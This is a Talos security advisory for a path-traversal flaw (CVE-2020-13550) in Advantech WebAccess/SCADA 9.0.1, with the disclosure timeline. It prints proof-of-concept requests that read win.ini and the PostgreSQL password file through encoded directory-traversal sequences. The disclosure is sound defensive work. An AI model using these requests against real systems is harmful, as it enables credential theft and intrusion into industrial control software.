Talos Vulnerability Report

TALOS-2020-1168

Advantech WebAccess/SCADA installation local file inclusion

FEBRUARY 16, 2021

CVE NUMBER

CVE-2020-13550

Summary

A local file inclusion vulnerability exists in the installation functionality of Advantech WebAccess/SCADA 9.0.1. A specially crafted application can lead to information disclosure. An attacker can send an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Advantech WebAccess/SCADA 9.0.1

Product URLs

https://www.advantech.com/industrial-automation/webaccess/webaccessscada

CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

Details

Advantech WebAccess/SCADA is an HTML5-based software package used to perform data visualization and supervisory controls over IoT/OT devices. It collects, parses and distributes data using MQTT.

A local file inclusion vulnerability exists in the installation functionality of Advantech WebAccess/SCADA 9.0.1. A specially crafted application can lead to information disclosure. An attacker can make an authenticated HTTP request to trigger this vulnerability.

The following request is a Proof-of-Concept for retrieving “win.ini” file form remote system.

```
GET /WADashboard/api/dashboard/v1/files/dashboardTree?
&projectSpecies=asdasd!management&fileName=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
&isAll=true&_=1600592611311 HTTP/1.1
Referer: http://[IP]:8081/WADashboard/dashboardEditor
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Host: [IP]:8081
Cookie: ASP.NET_SessionId=[...]; user=name=; ASPSESSIONIDQSDRBRCR=[...]; WDT=[...]
Connection: close
```

Using above method the Postgresql password can be retrieved using below URL:

```
http://[IP]:8081/WADashboard/api/dashboard/v1/files/dashboardTree?
&projectSpecies=asdasd!management&fileName=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cpostgresql%5cpost
gresql%5cpostgresql-password.txt&isFiltered=true&_=1600703196585
```

Timeline

2020-10-16 - Initial vendor contact
2020-10-20 - Vendor disclosure

2020-11-17 - 2nd follow up
2020-12-14 - 3rd follow up
2021-01-05 - 75 day follow up
2021-01-20 - 90 day final notice
2021-02-16 - Public release

CREDIT

Discovered by Yuri Kramarz of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2020-1008

NEXT REPORT

TALOS-2020-1169